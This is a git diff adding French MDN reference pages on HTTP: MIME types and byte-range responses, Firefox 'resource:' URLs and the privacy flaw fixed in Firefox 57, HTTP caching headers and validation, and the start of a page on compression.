+<p>Le type MIME <code>multipart/byteranges</code> est utilisé lors qu'il s'agit d'envoyer une réponse partielle au navigateur. Lorsque le statut {{HTTPStatus("206")}} <code>Partial Content</code> est envoyé, ce type MIME sert pour indiquer que le document est constitué de plusieurs parties. Comme les types composés, l'en-tête {{HTTPHeader("Content-Type")}} utilise la directive <code>boundary</code> pour définir une chaîne de délimitation. Chaque partie possède son en-tête {{HTTPHeader("Content-Type")}} ainsi que {{HTTPHeader("Content-Range")}} qui spécifie le morceau que cette partie représente.</p>
+
+<pre><code>HTTP/1.1 206 Partial Content
+Accept-Ranges: bytes
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 385
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-200/1270
+
+eta http-equiv="Content-type" content="text/html; charset=utf-8" /&gt;
+    &lt;meta name="vieport" content
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 300-400/1270
+
+-color: #f0f0f2;
+        margin: 0;
+        padding: 0;
+        font-family: "Open Sans", "Helvetica
+--3d6b6a416f9b5--</code></pre>
+
+<h2 id="De_limportance_de_définir_correctement_un_type_MIME">De l'importance de définir correctement un type MIME</h2>
+
+<p>La plupart des serveurs envoient des ressources de format inconnu et donc utilisent le type par défaut <code>application/octet-stream</code>. Pour des considérations de sécurité, les navigateurs n'effectuent pas d'action par défaut pour les ressources de ce type, ce qui oblige l'utilisateur à stocker le fichier sur son dique pour l'utiliser. Voici les erreurs communes de configuration côté serveur pour les formats suivants :</p>
+
+<ul>
+ <li>
+  <p>Les fichiers RAR. Idéalement il faudrait définir le type MIME associé aux fichiers contenus. Ce n'est généralement pas possible étant donné que le type de ces fichiers est vraisemblablement inconnu du serveur, d'autre part, il est possible que plusieurs formats soient présents dans le fichier RAR. On pourra alors configurer le serveur pour envoyer le type MIME <code>application/x-rar-compressed</code> bien qu'il soit probable qu'aucune action par défaut pour ce type MIME n'ait été définie côté utilisateur.</p>
+ </li>
+ <li>
+  <p>Fichiers audios et vidéos. Seules les ressources associées à un type MIME approprié seront reconnues et lues dans les éléments {{ HTMLElement("video")}} ou {{HTMLElement("audio")}}. Vérifiez que vous utilisez <a href="/fr/docs/Web/HTML/Supported_media_formats">un format correct pour les fichiers audios et vidéos</a>.</p>
+ </li>
+ <li>
+  <p>Les fichiers au format propriétaire. Il est nécessaire d'être vigilent lorsque l'on sert des fichiers propriétaires. Evitez autant que possible l'utilisation de <code>application/octet-stream</code> puisque ce type générique ne permet pas une gestion appropriée de la ressource.</p>
+ </li>
+</ul>
+
+<h2 id="Détection_de_type_MIME">Détection de type MIME</h2>
+
+<p>Lorsque le type MIME est absent ou lorsque le client détecte que le type MIME a été mal associé, les navigateurs peuvent pratiquer la détection de type MIME via l'analyse de la ressource. Chaque navigateur implémente cette technique différemment et l'utilise dans des contextes différents. Il existe des problématiques de sécurité, étant donné que certaines ressources sont des fichiers exécutables et d'autres non. Les serveurs peuvent empêcher la détection de type MIME par le navigateur en envoyant l'en-tête {{HTTPHeader("X-Content-Type-Options")}} associé à {{HTTPHeader("Content-Type")}}.</p>
+
+<h2 id="Autres_méthodes_pour_transporter_le_format_dun_document">Autres méthodes pour transporter le format d'un document</h2>
+
+<p>Les types MIME ne sont pas la seule façon existante pour gérer le format d'un document :</p>
+
+<ul>
+ <li>Les extensions de fichiers sont parfois utilisées, comme sur les systèmes d'exploitation Microsoft Windows. Tous les systèmes d'exploitation ne considèrent pas l'extension comme signifiante (en particulier Linux et Mac OS). De la même manière que pour les types MIME externes, il n'est pas garanti que le contenu soit effectivement du type correspondant à l'extension du document.</li>
+ <li>Nombres magiques : La syntaxe de différents fichiers permet de déterminer le fichier en analysant son contenu, ainsi les fichiers GIF commencent par les valeurs hexadécimales 47 49 46 38 soit [GIF89], les fichiers PNG quant à eux commencent par 89 50 4E 47 soit [.PNG]. Néanmoins, tous les types de fichiers ne permettent pas d'utiliser des nombres magiques, il ne s'agit donc pas d'une technique infaillible.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">Configurer proprement les types MIME côté serveur</a></li>
+ <li>
+  <p><a href="/fr/docs/Web/HTML/Supported_media_formats">Formats multimédias supportés pour les éléments HTML audio et vidéo</a></p>
+ </li>
+ <li>
+  <p><a href="https://www.iana.org/assignments/media-types/application/json">https://www.iana.org/assignments/media-types/application/json</a></p>
+ </li>
+</ul>
diff --git a/files/fr/web/http/basics_of_http/urls_de_type_ressource/index.html b/files/fr/web/http/basics_of_http/urls_de_type_ressource/index.html
new file mode 100644
index 0000000000..4f38214e57
--- /dev/null
+++ b/files/fr/web/http/basics_of_http/urls_de_type_ressource/index.html
@@ -0,0 +1,67 @@
+---
+title: URLs de type ressource
+slug: Web/HTTP/Basics_of_HTTP/URLs_de_type_ressource
+tags:
+  - Guide
+  - HTTP
+  - Intermédiaire
+  - Ressource
+translation_of: Web/HTTP/Basics_of_HTTP/Resource_URLs
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Les URLs de type ressource sont les URLs préfixées à l'aide du schéma <code>resource:</code>. Elles sont utilisées par Firefox ainsi que les modules complémentaires pour charger des ressources de manière interne, néanmoins, certaines informations associées sont disponibles pour les sites auxquels le navigateur accède.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Les URLs de type ressource sont composées de deux parties, un préfixe (<code>resource:</code>) et l'URL qui dirige vers la ressource que l'on souhaite charger :</p>
+
+<pre class="syntaxbox">resource://&lt;url&gt;</pre>
+
+<p>Voici un exemple :</p>
+
+<pre>resource://gre/res/svg.css</pre>
+
+<p>Pour plus de détails, vous pouvez consulter <a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifier des ressources sur le Web</a>.</p>
+
+<p>Dans cet article, nous abordons les URIs ressources qui sont utilisées par Firefox pour pointer vers des ressources internes.</p>
+
+<h2 id="Menaces">Menaces</h2>
+
+<p>Étant donné que les informations partagées par les URLs <code>resource:</code> sont accessibles par les sites web, une page web pourrait être en mesure d'exécuter un script pour inspecter les ressources internes à Firefox telles que les préférences par défaut, ce qui pourrait constituer un problème important de confidentialité et de sécurité.</p>
+
+<p>Par exemple, <a href="https://www.browserleaks.com/firefox">ce script sur Browserleaks</a> détaille les éléments accessibles de Firefox lorsque l'on appelle l'URL ressource. Le code de ce script est accessible à l'adresse <a href="https://browserleaks.com/firefox#more">https://browserleaks.com/firefox#more</a>.</p>
+
+<p>Le fichier <a href="https://searchfox.org/mozilla-central/rev/48ea452803907f2575d81021e8678634e8067fc2/browser/app/profile/firefox.js#575">firefox.js</a> passe les noms des préférences et leurs valeurs à la fonction <code>pref()</code>.</p>
+
+<p>Les sites web peuvent aisément récupérer les préférences par défaut de Firefox en contournant la fonction <code>pref()</code> et en utilisant le script <code>resource:///defaults/preferences/firefox.js</code>.</p>
+
+<p>De plus, certaines valeurs par défaut diffèrent selon les versions ou les installations, parmi lesquelles le système d'exploitation ou la langue d'utilisation, il est donc possible d'identifier les utilisateurs de manière distincte.</p>
+
+<h2 id="Solution">Solution</h2>
+
+<p>Afin de résoudre ce problème, Mozilla a modifié le comportement du chargement des URLs ressource via {{bug(863246)}}, rendu disponible à partir de Firefox 57 (Quantum).</p>
+
+<p>Auparavant, les sites web étaient capables d'accéder à n'importe quelle URI <code>resource:</code>, celles de Firefox mais aussi celles des modules complémentaires. Ce comportement est désormais interdit par défaut.</p>
+
+<p>Firefox nécessite néanmoins le chargement des ressources au sein d'un contenu web dans certains cas. Ainsi lorsque l'on souhaite accéder au code source d'une page à l'aide de "Code source de la page", un appel à <code>viewsource.css</code> via une URI <code>resource:</code> est nécessaire. Les ressources auxquelles le contenu web a besoin d'accéder ont été déplacées sous <code>resource://content-accessible/</code>, une partie isolée et ne contenant que des ressources n'étant pas confidentielles. De cette manière, il est possible d'exposer des ressources tout en réduisant la plupart des menaces.</p>
+
+<div class="note">
+<p><strong>Note</strong> : Il est recommandé de ne plus utiliser les URLs de type ressource lors du développement web ou de celui d'un module. Leur utilisation était peu fiable et la plupart ne fonctionnent plus.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p><code>resource:</code> n'est pas défini dans une spécification RFC.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>resource: est disponible uniquement dans Firefox.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifier des ressources sur le Web</a></li>
+ <li><a href="/fr/docs/Learn/Common_questions/What_is_a_URL">Qu'est-ce qu'une URL ?</a></li>
+ <li><a href="https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">Liste des schémas URI maintenue par l'IANA</a> (<code>resource:</code> est <a href="https://www.iana.org/assignments/uri-schemes/prov/resource">définie ici</a>)</li>
+</ul>
diff --git a/files/fr/web/http/cache/index.html b/files/fr/web/http/cache/index.html
new file mode 100644
index 0000000000..d29e51d434
--- /dev/null
+++ b/files/fr/web/http/cache/index.html
@@ -0,0 +1,154 @@
+---
+title: Mise en cache HTTP
+slug: Web/HTTP/Cache
+tags:
+  - Guide
+  - HTTP
+  - Le cache
+translation_of: Web/HTTP/Caching
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">Les performances des sites et applications web peuvent être significativement améliorées en réutilisant les ressources déjà collectées précédemment. Les caches web réduisent la latence et le trafic du réseau, et ainsi diminuent le temps nécessaire à l'affichage de la représentation d'une ressource. En utilisant la mise en cache HTTP, les sites web deviennent plus réactifs.</p>
+
+<h2 id="Différents_types_de_caches">Différents types de caches</h2>
+
+<p>La mise en cache est une technique qui stocke une copie d’une ressource donnée et la renvoie quand elle est demandée. Quand un cache web a une ressource demandée dans son espace de stockage, il intercepte la requête et renvoie sa copie au lieu de la re-télécharger depuis le serveur d’origine. Cela a plusieurs avantages : le cache réduit la charge du serveur qui n’a pas besoin de servir tous les clients lui-même, et il améliore la performance en étant plus proche du client, par exemple, cela prend moins de temps pour transmettre à nouveau la ressource. Pour un site web, c’est un composant majeur pour atteindre de hautes performances. Cependant, il doit être configuré correctement, car toutes les ressources ne restent pas éternellement inchangées : il est important de mettre une ressource en cache seulement jusqu’à ce qu’elle change, pas plus longtemps.</p>
+
+<p>Il y a différents types de caches, qui peuvent être groupés en deux principales catégories : les caches privés et les caches partagés. Un <em>cache partagé</em> est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Un <em>cache privé</em> est dédié à un seul utilisateur. Cette page aborde principalement les caches de navigateur et de proxy, mais il existe aussi des caches de passerelle, de CDN, les caches de proxy inversés et les répartiteurs de charge qui sont déployés sur les serveurs web pour une meilleure fiabilité, une meilleure performance et une meilleure évolutivité des sites et applications web.</p>
+
+<p><img alt="Ce que permet un cache, avantages et inconvénients des caches privés ou partagés." lang="fr-FR" src="https://mdn.mozillademos.org/files/16128/HTTPCacheType-fr.png" style="height: 573px; width: 910px;"></p>
+
+<h3 id="Caches_de_navigateur_privés">Caches de navigateur privés</h3>
+
+<p>Un cache privé est dédié à un seul utilisateur. Il se peut que vous ayez déjà vu les termes « mise en cache » dans les paramètres de votre navigateur. Un cache de navigateur contient tous les documents téléchargés via <a href="/fr/docs/Web/HTTP" title="en/HTTP">HTTP</a> par l’utilisateur. Ce cache est utilisé pour rendre les documents visités disponibles à la navigation via les boutons précédent / suivant, la sauvegarde, l’affichage du code source, etc. sans nécessiter un aller-retour au serveur supplémentaire. De la même manière, il améliore la navigation hors-ligne de contenu en cache.</p>
+
+<h3 id="Caches_de_proxy_partagés">Caches de proxy partagés</h3>
+
+<p>Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Par exemple, un fournisseur d’accès à Internet ou votre entreprise peut avoir mis en place un proxy web au sein de son infrastructure de réseau local pour servir des utilisateurs multiples, de sorte que les ressources populaires sont réutilisées plusieurs fois, réduisant le trafic réseau et la latence.</p>
+
+<h2 id="Cibles_des_opérations_de_cache">Cibles des opérations de  cache</h2>
+
+<p>La mise en cache HTTP est optionnelle, mais réutiliser une ressource en cache est généralement souhaitable. Cependant, les caches HTTP communs se limitent typiquement à mettre en cache les réponses à des requêtes {{HTTPMethod("GET")}} et peuvent décliner les autres méthodes. La clé de cache primaire consiste en la méthode de requête et l’URI ciblée (souvent, seule l’URI est utilisée, car seules des requêtes GET sont ciblées par la mise en cache). Voici des formes courantes d’entrées de cache :</p>
+
+<ul>
+ <li>Résultat positif de requête de lecture : une réponse {{HTTPStatus(200)}} (OK) à une requête {{HTTPMethod("GET")}} contenant une ressource telle qu’un document HTML, une image ou un fichier.</li>
+ <li>Redirection permanente : une réponse {{HTTPStatus(301)}} <em>(Moved Permanently).</em></li>
+ <li>Réponse d’erreur : une page de résultat {{HTTPStatus(404)}} <em>(Not Found)</em>.</li>
+ <li>Résultat incomplet : une réponse {{HTTPStatus(206)}} <em>(Partial Content)</em>.</li>
+ <li>Réponses autres que {{HTTPMethod("GET")}} si quelque chose est défini comme pouvant être utilisé comme clé de cache.</li>
+</ul>
+
+<p>Une entrée de cache peut aussi consister en de multiples réponses stockées différenciées par une clé secondaire, si la requête fait l’objet de négociation de contenu. Pour plus de détails, voir les informations à propos de l’en-tête {{HTTPHeader("Vary")}} <a href="#Varying_responses">ci-dessous</a>.</p>
+
+<h2 id="Contrôle_de_la_mise_en_cache"><span class="tlid-translation translation"><span title="">Contrôle de la mise en cache</span></span></h2>
+
+<h3 id="L'en-tête_Cache-control"><span class="tlid-translation translation"><span title="">L'en-tête Cache-control</span></span></h3>
+
+<p><span class="tlid-translation translation">Le</span> {{HTTPHeader("Cache-Control")}} HTTP/1.1 <span class="tlid-translation translation"><span title="">Le champ d'en-tête général est utilisé pour spécifier les directives pour les mécanismes de cache dans les requêtes et les réponses.</span> <span title="">Utilisez cet en-tête pour définir vos stratégies de mise en cache avec la variété de directives fournie</span></span>s.</p>
+
+<h4 id="Pas_du_tout_de_cache_mémoire">Pas du tout de cache mémoire</h4>
+
+<p><span class="tlid-translation translation"><span title="">Le cache ne doit rien stocker concernant la demande du client ou la réponse du serveur.</span> <span title="">Une demande est envoyée au serveur et une réponse complète est téléchargée à chaque fois.</span></span></p>
+
+<pre>Cache-Control: no-store
+Cache-Control: no-cache, no-store, must-revalidate
+</pre>
+
+<h4 id="Pas_de_cache"><span class="tlid-translation translation"><span title="">Pas de cache</span></span></h4>
+
+<p><span class="tlid-translation translation"><span title="">Un cache enverra la demande au serveur d'origine pour validation avant de publier une copie en cache</span></span>.</p>
+
+<pre>Cache-Control: no-cache</pre>
+
+<h4 id="Caches_privées_et_publiques"><span class="tlid-translation translation"><span title="">Caches privées et publiques</span></span></h4>
+
+<p><span class="tlid-translation translation"><span title="">La directive "public" indique que la réponse peut être mise en cache par n'importe quel cache.</span> <span title="">Cela peut être utile si les pages avec une authentification HTTP ou des codes d’état de réponse qui ne sont pas normalement mis en cache doivent maintenant être mis en cache.</span> <span title="">En revanche, "privé" indique que la réponse est destinée à un seul utilisateur et ne doit pas être stockée par un cache partagé.</span> <span title="">Un cache de navigateur privé peut stocker la réponse dans ce cas.</span></span></p>
+
+<pre>Cache-Control: private
+Cache-Control: public
+</pre>
+
+<h4 id="Expiration">Expiration</h4>
+
+<p><span class="tlid-translation translation"><span title="">La directive la plus importante ici est "max-age = &lt;secondes&gt;", qui correspond au temps maximum pendant lequel une ressource est considérée comme nouvelle.</span> <span title="">Contrairement à {{HTTPHeader ("Expires")}}, cette directive est relative à l'heure de la demande.</span> <span title="">Pour les fichiers de l'application qui ne changeront pas, vous pouvez généralement ajouter une mise en cache agressive.</span> <span title="">Cela inclut les fichiers statiques tels que les images, les fichiers CSS et les fichiers JavaScript, par exemple.</span></span></p>
+
+<p><span class="tlid-translation translation"><span title="">Pour plus de détails, voir aussi la section</span></span> <a href="#Freshness">Freshness</a> <span class="tlid-translation translation"><span title="">ci-dessous.</span></span>.</p>
+
+<pre>Cache-Control: max-age=31536000</pre>
+
+<h4 id="Validation">Validation</h4>
+
+<p><span class="tlid-translation translation"><span title="">Lors de l'utilisation de la directive "must-revalidate", le cache doit vérifier l'état des ressources obsolètes avant de l'utiliser, et celles qui ont expiré ne doivent pas être utilisées.</span> <span title="">Pour plus de détails, voir la section</span></span> <a href="#Cache_validation">Validation</a> <span class="tlid-translation translation"><span title="">ci-dessous</span></span>.</p>
+
+<pre>Cache-Control: must-revalidate</pre>
+
+<h3 id="L'en-têtePragma"><span class="tlid-translation translation"><span title="">L'en-tête</span></span><code>Pragma</code></h3>
+
+<p><span class="tlid-translation translation"><span title="">{{HTTPHeader ("Pragma")}} est un en-tête HTTP / 1.0. Il n'est pas spécifié pour les réponses HTTP et ne constitue donc pas un remplacement fiable pour l'en-tête général HTTP / 1.1 Cache-Control, bien qu'il se comporte de la même manière que Cache</span><span title="">-Control: no-cache, si le champ d'en-tête Cache-Control est omis dans une requête.</span> <span title="">Utilisez Pragma uniquement pour une compatibilité ascendante avec les clients HTTP / 1.0</span></span>.</p>
+
+<h2 id="Fraîcheur_(Freshness)">Fraîcheur (Freshness)</h2>
+
+<p>Une fois que la ressource est mise en mémoire dans le cache, elle pourrait théoriquement être servie éternellement par le cache. Les caches ont une capacité de stockage limitée donc les objets en sont périodiquement enlevés. Ce procédé est appelé éviction de cache ("<em>cache eviction"</em>). Certaines ressources peuvent changer sur le serveur et le cache doit donc être mis à jour.   Comme HTTP est un protocole serveur-client, les serveurs peuvent informer les caches et les clients quand une ressource est modifiée, ils doivent communiquer un temps d'expiration de la ressource. Avant cette expiration, la ressource est considérée "fraîche" (fresh =&gt; freshness);  Aprés son expiration, elle est considérée périmée (<em>stale</em>). Les algoritmes d'éviction privilégient souvent les ressources fraîches.  Notez qu'une ressource "périmée" n'est ni éjectée ni ignorée; quand le cache reçoit une requête pour une ressource périmée, il transmet cette requête avec un  {{HTTPHeader("If-None-Match")}} pour vérifier si elle est quand même fraîche. Si c'est le cas, le serveur retourne en en-tête un statut {{HTTPStatus("304")}} (Not Modified) sans renvoyer le corps de la ressource demandée, épargnant ainsi un peu de bande passante.</p>
+
+<p>Ici un exemple de ce processus avec un cache de proxy partagé :</p>
+
+<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p>
+
+<p>Le calcul de la durée de vie de la fraîcheur est basé sur plusieurs en-têtes. Si une en-tête "<code>Cache-control: max-age=N</code>" est spécifiée, alors la durée de vie est égale à N. Si cette en-tête est absente (ce qui est souvent le cas),  on vérifie si une en-tête {{HTTPHeader("Expires")}} est présente. Si ce <code>Expires</code> existe, alors sa valeur moins la valeur de l'en-tête {{HTTPHeader("Date")}} détermine la durée de vie de la fraîcheur. Finalement, si aucune en-tête n'est présente, on en cherche une {{HTTPHeader("Last-Modified")}} et si elle est présente, alors la durée de vie de la fraîcheur du cache est égale à la valeur de l'en-tête <code>Date</code> moins la valeur de l'en-tête <code>Last-modified</code> divisée par 10.</p>
+
+<p>Le temps d'expiration s'organise comme ceci :</p>
+
+<pre>expirationTime = responseTime + freshnessLifetime - currentAge
+</pre>
+
+<p>Où <code>responseTime</code> est le moment auquel a été reçue la réponse selon le navigateur.</p>
+
+<h3 id="Ressources_revues_et_corrigées">Ressources revues et corrigées</h3>
+
+<p>Plus nous utilisons les ressources en cache, mieux se porteront la "responsivité" et les performances d'un site Web.  Pour optimiser ceci, les bonnes pratiques recommandent de fixer les temps d'expiration aussi loin que possible dans le futur.  C'est possible avec des ressources mises à jour régulièrement ou trés souvent mais ça devient problématique pour les ressources mises à jour trés rarement.  Ce sont les ressources qui bénéficieraient au mieux de la mise en cache mais cela les rend difficiles à mettre à jour. C'est typique des ressources techniques incluses ou liées depuis chaque page web :  les fichiers JavaScript et CSS ne changent pas fréquemment mais quand ils changent, vous voulez qu'ils soient mis à jour au plus vite.</p>
+
+<p>Les développeurs Web ont inventé une technique que Steve Sounders a appelée <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>. Les fichiers rarement mis à jour sont nommés d'une maniére spécifique : dans leur URL, habituellement dans le nom de fichier, est ajouté un numéro de révision (ou version). Comme ceci, chaque nouvelle révision / version de la ressource est considérée comme une ressource elle-même, qui ne change jamais et qui peut avoir un temps d'expiration trés éloigné dans le futur. En général un an ou plus. Dans le but d'avoir les nouvelles versions, tous les liens doivent être changés. C'est l'inconvénient de cette méthode : une complexité additionnelle habituellement prise en charge par la chaîne d'outils de développeurs Web.  Quand les ressources qui ne sont pas mises à jour fréquemment changent, elles induisent un changement supplémentaire aux ressources régulièrement rafraîchies. Quand elles sont lues, les nouvelles versions des autres sont lues aussi.</p>
+
+<p>Cette technique a un avantage de plus : mettre à jour deux ressources en cache en même temps ne fera pas qu'une version périmée d'une des ressources sera utilisée avec la nouvelle version de l'autre. C'est trés important quand les sites ont des feuilles de style CSS ou des scripts JS qui ont des dépendances mutuelles c'est-à-dire qui dépendent l'un de l'autre parce qu'ils se réfèrent aux mêmes éléments HTML.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13779/HTTPRevved.png"></p>
+
+<p>La version de révision ajoutée à la ressource révisée n'a pas à être sous une forme classique de chaîne de version comme  1.1.3, ou une suite monotone de chiffres. Cela peut être n'importe quoi qui prévienne une collision : un hash ou une date.</p>
+
+<h2 id="Validation_de_cache">Validation de cache</h2>
+
+<p>La revalidation est ciblée quand l'utilisateur clique le bouton de rechargement (actualisation). Elle est aussi ciblée pendant une navigation normale si la réponse en cache inclus l'en-tête  "<code>Cache-control: must-revalidate</code>". Un autre facteur est la préférence des validations de cache, paramétrées dans le panneau des préférences dans<code> Advanced-&gt;Cache</code> . Il y a une option pour forcer la validation chaque fois qu'un document est chargé.</p>
+
+<p>Quand on arrive au moment d'expiration d'un document en cache, il est soit validé soit redemandé. La validation ne peut intervenir que si le serveur a fourni soit un validateur fort <em>(strong validator</em>) soit un faible (<em>weak validator</em>).</p>
+
+<h3 id="ETags">ETags</h3>
+
+<p>L'en-tête réponse {{HTTPHeader("ETag")}} est une valeur "<em>opaque-to-the-user agent" </em> qui peut être utilisée comme un validateur fort. Cela signifie que l'agent-utilisateur HTTP, comme un navigateur, par exemple, ne sait pas ce que cette chaîne  représente et ne peut prévoir quelle pourrait être sa valeur. Si l'en-tête <code>ETag</code> est une partie de la réponse pour une ressource, le client peut délivrer un  {{HTTPHeader("If-None-Match")}} dans l'en-tête des futures requêtes, dans le but de valider les ressources en cache.</p>
+
+<p>L'en-tête de réponse {{HTTPHeader("Last-Modified")}} peut être utilisée comme un validateur faible. Il est dit "faible" car il a une précision à la seconde prés. Si l'en-tête  <code>Last-Modified</code> est présente dans une réponse, alors le client peut délivrer une en-tête de requête {{HTTPHeader("If-Modified-Since")}} pour valider le document en cache.</p>
+
+<p>Quand une requête en validation est faite, le serveur peut : soit ignorer la requête en validation et répondre avec un normal  {{HTTPStatus(200)}} <code>OK</code>, ou bien retourner un statut {{HTTPStatus(304)}} <code>Not Modified</code> (avec un corps de réponse vide)  pour informer le navigateur d'utiliser sa copie en cache. La dernière réponse peut aussi contenir les en-têtes qui mettent à jour le temps d'expiration du document en cache.</p>
+
+<h2 id="Varier_les_réponses">Varier les réponses</h2>
+
+<p>L'en-tête de réponse HTTP {{HTTPHeader("Vary")}} détermine comment répondre aux futures en-têtes de requêtes  et décider s'il faut utiliser une réponse en cache plutôt qu'en demander une fraîche au serveur d'origine.</p>
+
+<p>Quand un cache reçoit une requête qui peut être satisfaite par une réponse en cache qui a un champ d'en-tête  <code>Vary</code> il ne devra pas utiliser cette réponse à moins que tous les champs d'en-tête cités dans l'en-tête <code>Vary</code> ne soient communs aux deux : la requête originale (en cache) et la nouvelle requête.</p>
+
+<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p>
+
+<p>Cela peut être trés utile pour servir du contenu dynamique par exemple. Quand on se sert de l'en-tête  <code>Vary: User-Agent</code>, les serveurs de cache devront considérer l'agent utilisateur pour décider de servir la page du cache. Si vous servez du contenu varié aux utilisateurs de mobiles, cela vous aidera à éviter qu'un cache puisse servir, par erreur, une version "Desktop" de votre site. En plus, cela aidera Google et d'autres moteurs de recherche  à découvrir la version mobile d'une page et peut aussi les avertir qu'aucun "masquage" (<a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>) n'est à craindre.</p>
+
+<pre>Vary: User-Agent</pre>
+
+<p>Parce que la valeur d'en-tête  {{HTTPHeader("User-Agent")}} est différente  ("varie") pour les clients mobiles ou Bureau, les caches ne seront pas utilisés pour servir du contenu mobile à un utilisateur "Desktop" et vice-versa.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li>
+ <li><a href="https://www.mnot.net/cache_docs">Caching Tutorial – Mark Nottingham</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP caching – Ilya Grigorik</a></li>
+ <li><a href="https://redbot.org/">RedBot</a>, un outli pour vérifier vos en-têtes HTTP relatives au cache.</li>
+</ul>
diff --git a/files/fr/web/http/compression/index.html b/files/fr/web/http/compression/index.html
new file mode 100644
index 0000000000..ec4fa26888
--- /dev/null
+++ b/files/fr/web/http/compression/index.html
@@ -0,0 +1,69 @@
+---
+title: Compression dans HTTP
+slug: Web/HTTP/Compression
+tags:
+  - Guide
+  - HTTP
+  - compression
+translation_of: Web/HTTP/Compression
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La compression est une méthode importante pour accroitre les performances d'un site web. Pour certaines pages, la réduction de la taille des éléments économise jusqu'à 70 % de la bande passante. Les algorithmes de compression s'améliorent d'années en années, les nouveaux algorithmes étant supportés à la fois par les serveurs et les clients.</p>
+
+<p>En réalité, les développeurs web n'ont pas besoin d'implémenter des mécanismes de compression puisqu'ils sont déjà intégrés à la fois aux navigateurs et dans les serveurs. Il convient néanmoins de s'assurer de la configuration correcte du serveur web. La compression s'effectue à trois niveaux différents :</p>
+
+<ul>
+ <li>Tout d'abord certains formats de fichiers sont compressés à l'aide de méthodes optimisées,</li>
+ <li>ensuite, la compression s'effectue au niveau du protocole HTTP (la ressource est transmise de manière compressée de bout en bout),</li>
+ <li>enfin la compression peut s'appliquer au niveau des connexions entre deux nœuds d'une connexion HTTP.</li>
+</ul>
+
+<h2 id="Fichiers_au_format_compressé">Fichiers au format compressé</h2>
+
+<p>Chaque type de donnée possède des redondances intrinsèques, ce qui signifie que l'utilisation de l'espace n'est pas optimisée. Ainsi dans les fichiers texte, l'espace ainsi perdu peut représenter environ 60 %, pour les fichiers multimédias, la redondance peut s'avérer beaucoup plus élevée. Étant donné que la contrainte de taille élevée est apparue dès le début pour ces types de fichiers, les ingénieurs ont conçu des algorithmes spécifiques à chaque format. Les algorithmes de compression utilisés pour les fichiers peuvent être groupés en deux catégories :</p>
+
+<ul>
+ <li><em>Compression sans perte</em>, le cycle compression/décompression ne modifie pas les données. Les données ainsi décompressées correspondent à l'octet près à l'original.<br>
+  Pour les images, <code>gif</code> ou <code>png</code> utilisent une compression sans perte.</li>
+ <li><em>Compression avec pertes</em>, le cycle de compression modifie la donnée originale de façon peu perceptible pour l'utilisateur.<br>
+  Les formats vidéos sur le Web sont des exemples de formats intégrant une compression avec pertes, pour les images <code>jpeg</code> est un format avec pertes.</li>
+</ul>
+
+<p>Certains formats peuvent être utilisés à la fois pour une compression sans perte ou avec pertes tel que <code>webp</code>. L'algorithme de compression peut être configuré pour une compression plus ou moins élevée, ce qui influe sur le niveau de qualité en sortie. Afin d'optimiser les performances, il convient de compresser au maximum tout en conservant un niveau de qualité acceptable. Pour les images, selon le logiciel qui a permis sa création, il se peut que l'image ne soit pas compressée suffisamment pour le Web. Il est recommandé d'utiliser des logiciels permettant la compression au maximum. Il existe de <a href="https://www.creativebloq.com/design/image-compression-tools-1132865">nombreux outils spécialisés</a> pour cet usage.</p>
+
+<p>Les algorithmes de compression avec pertes sont généralement plus performants que les algorithmes de compression sans perte.</p>
+
+<div class="note">
+<p>Puisque certains types de fichiers gèrent nativement la compression, il est souvent inutile de les compresser une seconde fois. En réalité, cela s'avère souvent contre-productif de par la taille induite par les données additionnelles nécessaires (lors de la compression, un dictionnaire de données est généré) le fichier en sortie est alors plus gros que celui avant compression. Veillez à ne pas utiliser les techniques suivantes pour les fichiers au format compressé.</p>
+</div>
+
+<h2 id="Compression_de_bout_en_bout">Compression de bout en bout</h2>
+
+<p>La compression de bout en bout constitue la compression permettant le plus de gain de performances pour le Web. La compression de bout en bout est définie par la compression du corps du message qui est effectuée par le serveur et ne sera modifié qu'une fois arrivé à destination par le client. Les étapes lors du transport laissent la charge utile inchangée.</p>
+
+<p><img alt="Séquence du serveur au client mettant en œuvre la compression de bout en bout" src="https://mdn.mozillademos.org/files/13801/HTTPEnco1.png" style="height: 307px; width: 955px;"></p>
+
